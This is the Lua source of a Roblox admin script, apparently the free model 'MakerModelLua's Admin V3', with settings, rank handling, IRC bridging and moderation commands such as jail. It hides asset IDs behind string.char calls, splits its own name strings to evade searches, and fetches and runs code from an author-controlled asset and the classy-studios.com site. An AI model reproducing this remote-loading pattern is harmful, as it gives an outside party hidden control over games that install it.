--[[ Hi! This is LuaModelMaker's Admin V3 by MakerModelLua. If you want to know what commands do just go into your game and say ;cmds for a list of commands, what they do, examples, rank needed, and more! Or, go to http://www.classy-studios.com/V3/Commands.php TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4 --->> DO NOT EDIT THESE SETTINGS <<--- Well you can but it's a waste of your time. The settings are located in workspace in a folder called "MakerModelLua's Settings". You can also use this plugin: http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551 USE REMOTE ADMIN: http://www.classy-studios.com/Login/ ...also... this is open source! No stupid shady module scripts, which means it works in studio! ]] -- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING -- local Settings = { Ranks = { ["Owner"] = {sina157}; ["Admin"] = {}; ["Member"] = {}; ["Banned"] = {}; ["Crashed"] = {}; ["Muted"] = {}; }; Prefix = ";"; Bet = " "; MinimumAge = 0; ServerLocked = false; ColorScheme = "White"; TransparencyScheme = 50; Fun = true; EnableAdminMenu = true; EnableTaskBar = true; FreeAdmin = false; Font = "Arial"; DisableAbuse = false; AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"}; AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459}; LinkedAccount = ""; DataKey = ""; ExecuteNotificationSound = 0; --177578949 EnableSounds = true; VIPMemberID = 0; VIPAdminID = 0; GroupID = 0; GroupBanRank = 0; GroupMemberRank = 0; GroupAdminRank = 0; GroupOwnerRank = 0; GroupRankBan = 0; BannedGroupIDs = {}; IRCServer = ""; IRCChannel = ""; IRCCommandExecuters = {}; } local Colors = { ["WHITE"] = Color3.new(1,1,1); ["BLACK"] = Color3.new(0,0,0); ["GRAY"] = Color3.new(0.5,0.5,0.5); ["RED"] = Color3.new(1,0,0); ["GREEN"] = Color3.new(0,1,0); ["BLUE"] = Color3.new(0,0,1); ["YELLOW"] = Color3.new(1,1,0); ["PINK"] = Color3.new(1,0,1); ["MAGENTA"] = Color3.new(1,0,1); ["CYAN"] = BrickColor.new("Cyan").Color; ["TEAL"] = BrickColor.new("Teal").Color; ["BROWN"] = Color3.new(0.55,0.25,0.075); ["PURPLE"] = Color3.new(0.5,0,0.5); ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255); } local Server = { Workspace = game:GetService("Workspace"); Players = game:GetService("Players"); Lighting = game:GetService("Lighting"); MPS = game:GetService("MarketplaceService"); TS = game:GetService("TeleportService"); HS = game:GetService("HttpService"); RS = game:GetService("RunService"); PS = game:GetService("PointsService"); TestS = game:GetService("TestService"); IS = game:GetService("InsertService"); Teams = game:GetService("Teams"); Data = game:GetService("DataStoreService"); GDS = game:GetService("DataStoreService"):GetGlobalDataStore(); NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned } local Icons = { ["Message"] = 7724351; ["Error"] = 94011556; ["Information"] = 144175130; ["Check"] = 132769976; ["Search"] = 61994930; ["Time"] = 136391033; ["Notice"] = 156507320; ["Sound"] = 164682936; ["Log"] = 70650545; ["Question"] = 41363872; ["Output"] = 11481605; ["Admin"] = 302470270; ["Lock"] = 11341626; ["Settings"] = 131064748; ["Map"] = 257119661; ["Plugin"] = 257097414; } local IRC = { Codes = { ["001"] = "RPL_WELCOME", ["002"] = "RPL_YOURHOST", ["003"] = "RPL_CREATED", ["004"] = "RPL_MYINFO", ["005"] = "RPL_ISUPPORT", ["250"] = "RPL_STATSCONN", ["251"] = "RPL_LUSERCLIENT", ["252"] = "RPL_LUSEROP", ["254"] = "RPL_LUSERCHANNELS", ["255"] = "RPL_LUSERME", ["265"] = "RPL_LOCALUSERS", ["266"] = "RPL_GLOBALUSERS", ["352"] = "RPL_WHOREPLY", ["371"] = "RPL_INFO", ["372"] = "RPL_MOTD", ["374"] = "RPL_ENDINFO", ["375"] = "RPL_MOTDSTART", ["376"] = "RPL_ENDOFMOTD", ["422"] = "ERR_NOMOTD", }, Ignore = { ["004"] = true, ["005"] = true, }; Users = {}; Logs = {}; Chats = {}; Forms = {}; MessageAdded = Instance.new("BindableEvent"); Servers = { ["esper.net"] = { BaseUrl = "http://webchat.esper.net/"; DynamicUrl = ""; }; ["quakenet.org"] = { BaseUrl = "http://webchat.quakenet.org/"; DynamicUrl = "dynamic/leibniz", }; ["swiftirc.net"] = { BaseUrl = "http://qwebirc.swiftirc.net/"; DynamicUrl = "", }; }; NickName = "rbxMMLV3_"..math.random(1,100000); SessionCounter = 0; Connected = false; Stop = false; SessionID = ""; } local RankHUD = { ["Muted"] = 202180094; ["Non-Admin"] = 202180121; ["Member"] = 202180052; ["Admin"] = 202180015; ["Owner"] = 202179988; } local TextConverter = { LetterSounds = { ["a"] = {223757826, nil}; -- 203343899 ["b"] = {223533700, 0.2}; -- 203344029 ["c"] = {223533711, nil}; -- 203343994 ["d"] = {223757910, nil}; -- 203398237 ["e"] = {223758026, nil}; -- 203398295 ["f"] = {223777655, nil}; -- 203398347 ["g"] = {223777738, nil}; -- 203398372 ["h"] = {223777757, nil}; -- 203398397 ["i"] = {223777807, nil}; -- 203398422 ["j"] = {223782888, nil}; -- 203398450 ["k"] = {223533711, nil}; -- 203343994 ["l"] = {223782961, 0.4}; -- 203398541 ["m"] = {223782992, nil}; -- 203398578 ["n"] = {223783063, nil}; -- 203398599 ["o"] = {223783184, nil}; -- 203398611 ["p"] = {223783235, nil}; -- 203398727 ["q"] = {223783260, nil}; -- 203398755 ["r"] = {223783305, 0.2}; -- 203398792 ["s"] = {223783377, nil}; -- 203398806 ["t"] = {223783446, nil}; -- 203398850 ["u"] = {223783512, nil}; -- 203398872 ["v"] = {223783654, nil}; -- 203398965 ["w"] = {223783697, nil}; -- 203398984 ["x"] = {223783796, nil}; -- 203399008 ["y"] = {223783853, nil}; -- 203399043 ["z"] = {223783893, nil}; -- 203399096 ["ch"] = {223784367, 0.3}; -- 203592149 ["th"] = {223788235, 0.3}; -- 203399215 ["sh"] = {223784505, 0.2}; -- 203399566 ["wh"] = {223784555, 0.3}; -- 203622828 ["oo"] = {223784456, 0.3}; -- 203399743 ["ing"] = {223784393, 0.3}; -- 203402836 }; LongVowels = { ["a"] = {223533687, nil}; -- 203343932 ["e"] = {223777620, nil}; -- 203398314 ["i"] = {223777855, nil}; -- 203398440 ["o"] = {223783212, nil}; -- 203398619 ["u"] = {223783572, nil}; -- 203398897 }; Pronounce = { ["0"] = "zero"; ["1"] = "wun"; ["2"] = "too"; ["3"] = "three"; ["4"] = "four"; ["5"] = "five"; ["6"] = "six"; ["7"] = "seven"; ["8"] = "eyt"; ["9"] = "nine"; ["one"] = "wun"; ["two"] = "too"; ["eight"] = "eyt"; ["eigh"] = "ey"; ["gh"] = "h"; ["kn"] = "n"; ["come"] = "cu".."m"; ["bye"] = "bi"; ["#"] = "hashtag"; ["@"] = "at"; ["&"] = "and"; ["*"] = "astrict"; ["mn"] = "m"; ["kn"] = "n"; ["ies"] = "ees"; }; NonEnglishRules = { ["to"] = "too"; ["you"] = "yoo"; ["we"] = "wee"; ["are"] = "erh"; ["your"] = "yoor"; ["you're"] = "yoor"; ["youre"] = "yoor"; ["pizza"] = "peetzoh"; ["ok"] = "okay"; ["have"] = "hav"; ["my"] = "mi"; ["me"] = "mee"; ["u"] = "yoo"; ["r"] = "erh"; ["move"] = "moov"; ["dove"] = "duv"; ["debris"] = "debree"; ["do"] = "doo"; } } local HTMLDecode = { ["35"] = "#"; ["36"] = "$"; ["37"] = "%%"; ["38"] = "*"; ["39"] = "'"; ["58"] = ":"; ["59"] = ";"; ["60"] = "<"; ["62"] = ">"; } local Packages = { [27112438] = {27112025,27112039,27112052,27112056,27112068}; [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147}; [77518833] = {77518564,77518616,77518654,77518696,77518737}; [32336368] = {32336059,32336117,32336182,32336243,32336306}; [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671}; [54116460] = {54116290,54116338,54116373,54116394,54116432}; [39977366] = {39976703,39976829,39976927,39977192,39977295}; [32357766] = {32357663,32357631,32357619,32357584,32357558}; [27123973] = {27121265,27121306,27121353,27121393,27121432}; [55717536] = {55717271,55717330,55717388,55717434,55717491}; [28279963] = {28279160,28279217,28279859,28279894,28279938}; [27403592] = {27402580,27402546,27402641,27402714,27402742}; [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766}; [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425}; [48474394] = {48474356,48474294}; [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534}; [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426}; [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771}; [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823}; [33378577] = {33378366,33378438,33378484,33378522,33378540}; [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371}; [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130}; [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118}; [41851073] = {41850825,41850868,41850915,41851009,41850959} } local CharacterCache = { {"MakerModelLua", 38837082}; {"LuaModelMaker", 20920633}; {"builderman", 156}; {"Shedletsky", 261}; {"Telamon", 13645}; {"ROBLOX", 1}; } local FaceCovert = { Left = "xpos"; Right = "xneg"; Front = "zpos"; Back = "zneg"; Top = "ypos"; Bottom = "yneg"; } local Meshes = { ["crown"] = {1, 1078075}; ["king"] = {1, 11419761}; ["teapot"] = {0.03, 1029523}; ["apple"] = {2.5, 16190555}; ["potato"] = {1, 25268275}; ["panda"] = {0.5, 20709221}; ["dominus"] = {0.5, 21057410}; ["fedora"] = {0.75, 13640868}; ["noob"] = {1, 20929341}; ["knife"] = {0.3, 121944778}; ["book"] = {0.3, 1136139}; } local NotifySounds = { ["Hover"] = 223134269; ["Select"] = 292141227; } -- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;) -- Why else would I NOT have put it in a module?!?!? local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"} local SoundList,GlobalSoundList = {},{} local ScriptCache,MarketCache,PackageCache = {},{},Packages local TempChatLogs = {} local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), game:GetService("ServerStorage")} local NoSpeak = false local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{} local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false} local ChatLogs,CommandLogs = {},{} local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{} local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")} local Dispose,Jails,PermCommandBars = {},{},{} local Waypoints = {["Center"] = Vector3.new(0,0,0)} local Objects = {} local Sound = nil local ModLighting = false local DataReady = true local RemoteAbuseGear = {} local GameOwner = "[ Client ]" local PlaceName = "Unknown" local PlaceInfo = {} local IsStudio = false local IsSB = false local Date = nil local Fonts = {} local PendingRequests = {} local F3X = script:FindFirstChild("F3X Tools") local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true) local RemoteData = {RemoteAdminWait = 60, ChatLogWait = 90} local KeyBinds = {} local Crowns = {} local LastKeys = {} local Cars = {} local CrownStorage = script:FindFirstChild("CrownStorage") if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end -- import old settings just in case -- local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true) if OldSettings then OldSettings = require(OldSettings) for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do Settings[ValName] = OldSettings[ValName] end Settings.GroupBanRank = OldSettings.RankBan Settings.Fun = OldSettings.FUN end if F3X then F3X = F3X:Clone() F3X.Handle.Anchored = false script:FindFirstChild("F3X Tools"):Destroy() end wait(0.1) local SettingsValues = script.Parent:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true) if SettingsValues then if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then for _,Value in pairs(SettingsValues:GetChildren()) do if Settings[Value.Name] then if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks for _,NewValue in pairs(Value:GetChildren()) do if ypcall(function() return NewValue.Value end) then if Settings[Value.Name][NewValue.Name] then local Val = NewValue.Value if type(Settings[Value.Name][NewValue.Name]) == "table" then Val = {} for Word in string.gmatch(NewValue.Value, "%w+") do table.insert(Val, Word) end end Settings[Value.Name][NewValue.Name] = Val end end end elseif ypcall(function() return Value.Value end) then if Settings[Value.Name] then local Val = Value.Value if type(Settings[Value.Name]) == "table" then Val = {} for Word in string.gmatch(Value.Value, "%w+") do table.insert(Val, Word) end end Settings[Value.Name] = Val end end end end end end if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then Settings.LinkedAccount = "" elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then Settings.LinkedAccount = "Admin" end local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script wait(1) local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true) if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end if not IsStudio then Server.NS = game:GetService("NetworkServer") script.Name = "Maker".."Mo".."delLua's Admin" end --repeat --ypcall(function() PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId) PlaceName = PlaceInfo.Name --end) --wait(1) --until #PlaceInfo > 0 if string.byte(string.sub(PlaceName,1,1)) == 226 then PlaceName = string.sub(PlaceName,4,#PlaceName) end for i = 1,5 do if GameOwner == "[ Client ]" then print("MML's Admin: Attempting to establish owner's name #"..i) ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end) wait(1) end end if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 or NLS then IsSB = true end if IsSB then Settings.IRCServer = "swiftirc.net"; Settings.IRCChannel = "#PkamaraSB"; Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"} Settings.LinkedAccount = "ScriptBuilder" end local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}" table.insert(Settings.Ranks["Owner"], GameOwner) for _,Font in pairs(Enum.Font:GetEnumItems()) do Fonts[Font.Name] = Font end local LogClient = script:FindFirstChild("AddClientInfo") if LogClient then LogClient:Destroy() end LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo" LogClient.OnServerInvoke = function(Player, Info) if Info then for Key,Data in pairs(Info) do ClientInfo[Player.Name][Key] = Data end end end local function MakeFunction(Type, Name) local Func = script:FindFirstChild(Name) if Func then Func:Destroy() end Func = Instance.new(Type, script) Func.Name = Name getfenv()[Name] = Func return Func end MakeFunction("BindableFunction", "ExecuteCommand") MakeFunction("RemoteFunction", "ExecuteCommandClient") MakeFunction("BindableFunction", "ExecuteCode") MakeFunction("RemoteFunction", "IsAdmin") MakeFunction("RemoteFunction", "AddExploit") MakeFunction("BindableFunction", "AddExploitServer") MakeFunction("RemoteFunction", "KickClient") MakeFunction("RemoteFunction", "ConvertTextToSound") MakeFunction("RemoteFunction", "KeyPressed") MakeFunction("RemoteFunction", "InputKey") MakeFunction("RemoteFunction", "RankPlayerLocal") MakeFunction("BindableFunction", "RankPlayerServer") --[[ if NLS then local Value = script:FindFirstChild("Override") LogClient.Parent = game if not Value then local Value = Instance.new("BoolValue", script) Value.Name = "Override" local CloneScript = script:Clone() CloneScript.Disabled = true CloneScript.Parent = game:FindFirstChild("ServerScriptService") CloneScript.Disabled = false CloneScript.Parent = nil script:Destroy() script.Disabled = true end end ]] if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port -- Core functions -- function CORE:FixSettings() if Settings.Bet == "/" or Settings.Bet == "-" or Settings.Bet == "(" or Settings.Bet == ")" then Settings.Bet = " " end CORE:ChangeBet(Settings.Bet) if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end Settings.TransparencyScheme = Settings.TransparencyScheme/100 if not Fonts[Settings.Font] then Settings.Font = "Arial" end end function CORE:NilPlayer(Player) if Player == nil or type(Player) == "table" then return true else return false end end function CORE:ExecuteResource(ResourceName, Parent, Data) local ReturnScript = nil local Executed = true if script:FindFirstChild("Resources") then local RawResource = script.Resources:FindFirstChild(ResourceName) if RawResource then local Resource = RawResource:Clone() Resource.Disabled = true Resource.Parent = Parent if Data then for Key,Value in pairs(Data) do if Resource[Key] then Resource[Key].Value = Value end end end wait() Resource.Disabled = false ReturnScript = Resource else Executed = false end else Executed = false end if Executed == false then if not Data then Data = {} end local Source = ScriptCache[ResourceName] if not Source then Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua") if Source then ScriptCache[ResourceName] = Source end end if Data and Source then for Key,Value in pairs(Data) do Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value)) end end if NLS and Source then ReturnScript = NLS(Source, Parent) end end return ReturnScript end function CORE:HandleError(Error, Speaker) local Return = "" if not Error or Error == "" then Return = "Unknown Error" else Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error) end if Speaker then GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error") end return Return end local function ExecuteSafe(Source, Speaker) -- no CORE local Script, Error = loadstring(Source) if Error then return false, CORE:HandleError(Error, Speaker) else getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE getfenv(Script).Server, getfenv(Script).script = Server,script if Speaker then getfenv(Script).print = function(...) GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output") end getfenv(Script).print_array = function(List) if type(List) == "table" then GUI:ListGui(Speaker, "Listed Table", List, "Output") end end end local Suc, Error = ypcall(coroutine.wrap(Script)) if not Suc then Error = CORE:HandleError(Error, Speaker) end return Suc,Error end end function CORE:GetTime(Regular, FullDate) if Regular == nil then Regular = true end local Meridiem = "" if Regular == true then Meridiem = " AM" end local SecondsOfToday = math.fmod(os.time(), 60*60*24) local Hour = math.floor(SecondsOfToday / (60*60)) local Minute = math.floor(SecondsOfToday/60 - Hour*60) local Second = math.floor(math.fmod(SecondsOfToday, 60)) if Hour > 12 and Regular == true then Hour = Hour - 12 Meridiem = " PM" end Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second) if #Hour <= 1 then Hour = "0"..Hour end if #Minute <= 1 then Minute = "0"..Minute end if #Second <= 1 then Second = "0"..Second end local Return = Hour..":"..Minute..":"..Second..Meridiem if FullDate == true and Date then Return = Date.." "..Return end return Return end function CORE:RemoveAdmin(Speaker) local Answer = true -- false if not CORE:NilPlayer(Speaker) then Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."uas's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"}) end if Answer == "Yes" or CORE:NilPlayer(Speaker) then if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then for _,Item in pairs(Player:GetChildren()) do if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then Item:Destroy() end end for _,GUI in pairs(Player.PlayerGui:GetChildren()) do if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then GUI:Destroy() end end end end for _,Car in pairs(Cars) do Car:Destroy() end CORE:FixLighting() while wait() do if script:FindFirstChild("Override") then script.Override.Value = true end Settings,CORE,IRC = nil,{},{} if Sound then Sound:Stop() end if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end script:ClearAllChildren() script:Destroy() script.Disabled = true end end end function CORE:MakeBase() for _,Get in pairs(Workspace:GetChildren()) do if Get.Name == "Base" or Get.Name == "BasePlate" then Get:Destroy() end end local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true end function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive) if IsAbusive == nil then IsAbusive = false end if Commands[CommandName] then table.remove(Commands[CommandName]) end Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive} end function CORE:FixLighting() coroutine.wrap(function() ModLighting = false wait(0.2) Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5) Server.Lighting.FogColor = Color3.new(0,0,0) Server.Lighting.Brightness = 1 Server.Lighting.TimeOfDay = 14 Server.Lighting.FogEnd = 100000 end)() end function CORE:Round(Number) if Number >= 0.5 then return math.ceil(Number) elseif Number < 0.5 then return math.floor(Number) end end local AdminID,Got = nil,false repeat wait() Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end) until Got == true function CORE:GetTable(ID) local Thing = nil repeat wait() ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end) until Thing return Thing end function CORE:InAdminGroup(Speaker) local IsIn = false for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do if Speaker:IsInGroup(Get) then IsIn = true end end if IsIn == true then return true else GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error") return false end end function CORE:ReverseTable(Table) if type(Table) ~= "table" then return Table end local NewTable = {} for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end return NewTable end function CORE:Log(LogTable, Player, Chat) local PlayerName = tostring(Player) if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat) end function CORE:Jail(Player) if not Player then return nil end local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell" local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob" Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back" Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front" Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back" local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0) Cell:MoveTo(Vector3.new(0,3,0)) if Player.Character and Player.Character:FindFirstChild("Torso") then Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0)) Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0)) end table.insert(Dispose, Cell) Jails[Player.Name] = Cell end function CORE:UnJail(Player) if not Player then return nil end if Jails[Player.Name] then Jails[Player.Name]:Destroy() Jails[Player.Name] = nil end end function CORE:ChangeName(Player, NewName) if not Player or not NewName then return nil end if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then local NewName = STRING:FormatReplace(Player, NewName) for _,Obj in pairs(Player.Character:GetChildren()) do if Obj.Name == "Label" then Obj:Destroy() end end local Head = Player.Character.Head local HeadClone = Head:Clone() -- make actual head invisible Head.Transparency = 1 ypcall(function() Head.face.Transparency = 1 end) -- make fake head visible HeadClone.Transparency = 0 ypcall(function() HeadClone.face.Transparency = 0 end) local Label = Instance.new("Model", Player.Character) Label.Name = "Label" local Model = Instance.new("Model", Label) Model.Name = NewName local HumanoidClone = Instance.new("Humanoid", Model) coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)() HeadClone.Parent = Model HeadClone.Position = Vector3.new(0,100,0) HeadClone.CanCollide = false ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end) local Weld = Instance.new("Weld", HeadClone) Weld.Part0 = HeadClone Weld.Part1 = Head end end function CORE:UpdateAdmin() local UpdateModel = AdminID if UpdateModel == 0 then return end local NewAdminModel = nil ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end) if NewAdminModel then local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true) if NewAdmin then local NewVersion = NewAdmin:FindFirstChild("Version") if NewVersion.Value ~= CORE.Version.Value then if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end NewAdmin.Disabled = true NewAdmin.Parent = Workspace if not Settings then local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true) if NewSettings then NewSettings.Parent = Workspace end end wait() NewAdmin.Disabled = false CORE:RemoveAdmin() else NewAdminModel:Destroy() end end end end function CORE:UnpackPlayers(Players) local PlayerNames = "" for Num,Player in pairs(Players) do if Player ~= nil then if Num ~= #Players then PlayerNames = PlayerNames..Player.Name..", " else PlayerNames = PlayerNames..Player.Name end end end return PlayerNames end function CORE:GetValue(Value) if Value:IsA("StringValue") then if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then for Num,Admin in pairs(Settings.Ranks["Admin"]) do if Admin == Value.Value then table.remove(Settings.Ranks["Admin"],Num) end end end end end end function CORE:GetPlayer(ID) local Return = {"Unknown", ID} if tonumber(ID) then for _,Data in pairs(CharacterCache) do if ID == Data[2] then return Data end end ypcall(function() local Name = Server.Players:GetNameFromUserIdAsync(ID) if Name then local Data = {Name, ID} table.insert(CharacterCache, Data) Return = Data end end) else local Name = tostring(ID) for _,Data in pairs(CharacterCache) do if string.lower(Name) == string.lower(Data[1]) then return Data end end ypcall(function() local PlayerID = Server.Players:GetUserIdFromNameAsync(Name) if 